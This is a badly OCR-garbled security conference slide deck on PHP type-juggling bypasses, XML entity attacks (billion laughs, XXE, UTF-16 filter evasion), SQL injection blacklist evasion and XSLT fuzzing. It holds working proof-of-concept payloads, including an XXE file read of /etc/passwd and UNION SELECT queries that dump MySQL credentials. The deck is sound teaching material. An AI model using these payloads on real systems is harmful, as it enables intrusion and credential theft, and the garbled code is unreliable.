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THE TARGEL

<?php
Skey = "llocdpocuzionbdcp2bindhspiccy";
$flag = strcmp (Skey, $ GET['key']);
if ($flag == 0) {
print "Welcome!";
} else {

print "Bad key!";
}

7>



SstrRCcmP()

+ PAStED FROM tHE PHP S DOCUMENTATION:

« HttP://WWW.PHP.NEt/MANUAL/EN/FUNCLION.StRCMP.PHP
« iNt StRCMP ( STRING SStRI , StRING SSTR2 )

+ NOtLE tHAT tHiS COMPARISON iS CASE SENSITIiVE.

» RETURNS < O iF StRI iS LESS tHAN StR2; > O iF StRI iS
GREATER tHAN StR2, AND O iF tHEY ARE EQUAL.



THE IDEA

- PARAMELERS t0 A PHP SCRiPt CAN BE :
. StRINGS
 ARRAYS

« THE DOC FOR StRCMP() DOESN't StAtE WHAt SHOULD
HAPPEN iF §_GET['KEY'] iS AN ARRAY

+ LEL’S tRY...
« VAR_DUMP(StRCMP( ", ARRAY() )) => NUILL



THE HACK

+ THE LAXiSt OPERALOR "=="" iS USED

+ "===" WOULD HAVE CHECK BOtH tYPE AND
VALUE

"==" Will DO SOME CRA2Y CONVERSIONS
BEFORE COMPARING



THE PROOF

TRUE FALSE 1 0 -1 i "o" "-1" NULL array() "php" o
TRUE TRUE FALSE TRUE FALSE TRUE TRUE FALSE TRUE FALSE FALSE TRUE FALSE
FALSE FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE TRUE FALSE TRUE
1 TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
0 FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE FALSE TRUE TRUE
-1 TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
o TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
"o" FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE
"-1" TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
NULL FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE TRUE FALSE TRUE
array() FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE
“php” TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE
e FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE TRUE




THE EXPLOiL

http://target/strcmp.php?key]|]
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TYPO3

+ TYPO3 ALLOWS 1O ACCESS ALIMOSt ANY FilE:
http://foobar/index.php?
Jumpurl=target. txt &
locationData=1::1 &

JuSecure=1 &
juHash=31337£0023

- HERE’'S A SiMPLIFiED VERSION:
http://127.0.0.1/cern/typo3.php?
f=/etc/motd & h=3belc7180e



THE TARGET
<?php
$file = $ GET['f']; Shash = $ GET['h'];

Skey = "SuperSecretPassword!";
Starget = substr (md5 (Skey . S$file), 0, 10);

if (Shash == Starget) {
print "Hash [S$Starget]\n";
print "File [$file]l\n";
readfile($file);

7>



THE CRYPTO

« MDS: 32 NiBBLES / 16 BYLES
. 2S616 = 3.4 * |]O 38

+ IF tRUNCALED 10 S BYLES
. 2S6'S=L1*10'12

+ AN ATtACKER NEEDS ON AVERAGE SSO BilliON tRiES

+ THAt SEEMS QUitE SECURE



<?php

7>

("100"
("100"
("100"
("100"

BuULt...

nOlOOu)
"10el")
"1€2")
"001e0002™)

~AN AN A A
L] L] L] L]
L] L] L] L]

—_— e N



THE HACK

* THE STRING "O” Will MATLCH:

+ 00000000

+ OEOI23LUS67
+ OEZ265L32I10
+ 000e000I23
+ 0000000cLY



THE MATHS

- WE NEED A HASH LKE "Oe[0-9]{8]}"
P(First BYte is "OE"): 1/2S6
P(OtHER NiBBLES ARE "[0-9]"): (10/16)'8

- P("Oe[0-9]1{8}") = 0,01%

« AN ATIACKER NEEDS ON AVERAGE S0O0O0 tRiES



THE EXPLOiL

« FiXED HASH
VALUE iSs "O”

+ VARIABLE FilENAME

PREFIXED WitH /"

http://127.0.0.1/cern/typo3.php?
f=//[...1//etc/passwd & h=0
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BilLiON LAUGHS ATTIACK

<!DOCTYPE entry

<IENTITY
<!ENTITY
<IENTITY
<!ENTITY
<IENTITY
<IENTITY
<IENTITY
1>

1ol0
loll
lol?2
1lol3
lol4
lolb
lolé6

[
"lol 1ol 1lol lol l1lol 1lol lol ">

"$101l0; &1010; &1010; &1010; &§1010; ">
"§&loll;&loll;&loll;&1loll;&1011;">
"&lol2;&1lol2;&1l0l2;&1l0l12;&1012; ">
"§lol3;&1l013;&1013;&1l013;&1013;">
"&lold; &lold; &lold; &lold; &lold; ">
"&lolb;&1lo0l5;&1l0l15;&1l0l15;&1015;">

<feed xmlns="http://www.w3.0rg/2005/Atom">
<title>PoC for a LOL DoS</title>

<entry>

<title>&lol6;</title>

</entry>
</feed>
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XML EXTERNAL ENTGLES

<!DOCTYPE entry [
<!ENTITY foo SYSTEM "file://etc/passwd">
1>

<feed xmlns="http://www.w3.0rg/2005/Atom">
<title>PoC for a XXE attack</title>
<entry>
<title>&foo;</title>
</entry>
</feed>



URL HANDLERS

File:// //srv/
Http:// Https://
Fte:// trtp://
GOPHER:// LDAP://
Pupr:// sSH2.SFtp://

AND MORE...



RiSKS

+ READ LOCAL FilES

+ STEAL NTLM HASHES

+ ACCESS SERVICES REStRiCteD BY IP ADDRESS

» ACCESS OtHERS MACHINES (HOP tHOUGH A FW)

- BRUTE-FORCE CREDENTiALS ViA SFTP

- CRAFt tEXt-ORIENTED PACKELS USiNG GOPHER://
» AND MORE...
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XML ENGTGES

XML DOCUMENT:
<!DOCTYPE doc [

<!ENTITY foobar SYSTEM "/etc/passwd">

] >
PHP CODE:
1f (strpros(5file content, '<!ENTITY') !== FALSE) ({

print 'Attack detected';
ex1t;



STtRPOS()

. PASteD FROM tHE PHP S DOCUMENTALON:
« HttP:/ /WWW.PHP.NEt/MANUAL/EN/FUNCLiON.StRPOS.PHP

. iNt StRPOS ( StRiING SHAYSTACK , MiXED SNEEDLE )

- RETURNS tHE POSitiON OF WHERE tHE NEEDLE EXiStS REIALVE tO
tHE BEGiINNiING OF THE HAYSTACK STRiING. ALSO NOLE tHAt STRiING
POSitiONS STARt At O, AND NOt I. RETURNS FALSE iF THE
NEEDLE WAS NOt FOUND.



THE ANALYSI:S

+ THE PHP StRiCt OPERALOR "!==" iS USED

+ NO WAY 10 CONFUSE NULL AND O
+« WOULD NOT BE A VALID DOCUMENT ANYWAY

+ THE DETLECLED STRING iS DEFINED AS A LttERAL
+ NO WAY 10 PLAY WilH CASE OR SPACING

+ §$0, iS it SECURE?



THE IDEA

+ StRPOS() WORKS ONLY ON ASCII StRiNGS
+ Not tHE UNDERLYiNG XML PARSER

+ LET’'S ENCODE OUR XML DOCUMENTt



THE HACK

+ UTF-7 AND UTF-8 ARE NOt iNtERESTING
« 'A’: OxUl

+ UTF-16 seems OK
+ 'A’: OX00 Oxui

$ iCONV --FROM-CODE=ASCii
--10-CODE=VUTF-16 < A.XML > B.XML
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TRiVIAL CLEANING

<?php

Scategory = str replace("'", "\'", $category);
$sgql = "select TITLE, CONTENT, CATEGORY from
postings where CATEGORY = '$category'";

Sresult = mysgl query($sqgl)
or die("Invalid request: ".mysgl error());

7>



THE IDEA

* \ iS USED tO ESCAPE '
« BUt \ itSEF iSN't ESCAPED



THE HACK

 IF AN ATtACKER PROVIDES \'
+ THE APPLICALiON SEES \\'’



THE EXPLOiL

/sqgli.php?x\' or 1=1 -- x

/sqgli.php?x\' UNION
SELECT user, password
FROM mysql.user

WHERE user="root" -- x
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COMPLEX BILACKILST

+ FORBIDDEN itEMS :
« StRiNG "SELECT” (1c/uc)
+ StRiNG "UNION" (1c/uc)
« StRING "MYSQL.USER" (LC)
+ StRiING "ROOt” (LC)
« COMMENLS LIKE " —— " AND "/* */"
* SPACES



COMPLEX BYPASS

. StRINGS "SELECT"” aND "UNION" (1c/uc)
+ MIiXED CASE
. StRING "MYSQL.USER" (LC)
+ BACKLiCK AROUND NAMES
. StRiNG "ROOt” (1LC)
. HeEx: Ox226F6F2U
« COMMENLS LKE " -- " AND "/* */”
+ USE #
« SPACES
. OX09 (TaB) orR OXOB (VERticaL TAB) OR ...



THE EXPLOiL

/sqli.php?x\'%$0AUnioN
%0BSeLeCt%0Cuser ,password
%$0AFROM%0B mysgl . user
%$0CWHERE$0Auser=0x726F6F74#



OUTLINE

* PHP laxism

+ XML RisKsS

+ BLACKLiSt EVASiON
+ XSLT MADNESS



XSLT=>

» FUNCLiIONAL PROGRAMMING LANGUAGE
» USED t0 MANiPULATE XML DOCUMENTS

+ TURING-COMPLELE

+ AVAILABLE iN:
+ BROWSERS, DATABASES, WEB APPLICALIONS
- DiGitAlL SiGNATURES, iMAGE VIEWERS, ...



DuMB FUZ22ING

+ TAKE SOME VALID FilES

+ MUtALE tHESE FilES
+ FEED THE NEW FilES 10 THE ENGINE
+ MONiItOR CPU, RAM, PROCESSES, ...

* ANALY2E CRASHES



SEtuP

. 350,000 TRIES / DAY / CORE
Find good samples Samples \

Generate test-cases Malformed inputs
Bit-flipping, /
Select a mutator cadansa . \
ingo?

Select targets ‘;,T;g;’m"f B /
Instrumented applications Minimize & analyse
Select instrumentors m':'ﬂ e



REsSULLS

. PLENtY OF (SECURIitY RELAtED) BUGS!

« MSXML: CVE-2013-0007

. LliBXSLt: CVE-2102-2871, CVE-2102-2825, ..

+ ADOBE ReEADER: CVE-20I12-15S2S, CVE-2012-1S30
+ FiRerox: CVE-2012-3972, CVE-2102-0L49

+ AND MORE : INtEL, ORACLE, ...
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ABUSE OF FEATURES

« VERY IARGE SEt OF FEATURES

+ STANDARDI2ED VERSIiONS

« XSLIT 1.O, XSLT LI XSLT, 2.0, XSLT 3.0
» COMMUNiItY EFFORt

« EXSLT
+ PROPRIETARY EXTENSIONS

« IN NEARLY EVERY ENGINE



STANDARD FEATURES

XSLT 1.0
xsl:message
Info leak Emm_pmpmu
| document() |
Read access xslinclude
L xsl:import J
Write access -

XS5LT1.1

XSLT 2.0

system-property()
e |

unparsed-text()
xsl:import-schema

xsl:result-document

- o

xsl:document

EXSLT

f

exsl:document

func:script




PROPRIETARY FEATURES

libxslt MSXML Xalan-J 4Suite Sablotron X, Saxon-J

Write access

(ode exec
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CONCLUSION

+ AtIACKER:

. SUBLLE BUGS ARE HARD
. SUBLLE BUGS ARE FUN

+ DEFENDER:

. IN ORDER 10 BUilD SOMEtHiING SECURE, YOU NEED to
iNVESTtiGALE / UNDERSTAND EACH UNDERLYiING TECHNOLOGY!

+ REDUCING COMPLEXilY iS THE KEY



THE END

+ QUESTIONS?

+ CONTACT:
+ NiCOLAS.GREGOIRE (At) AGARRI.FR
+ AGARRi_FR ON TWitter
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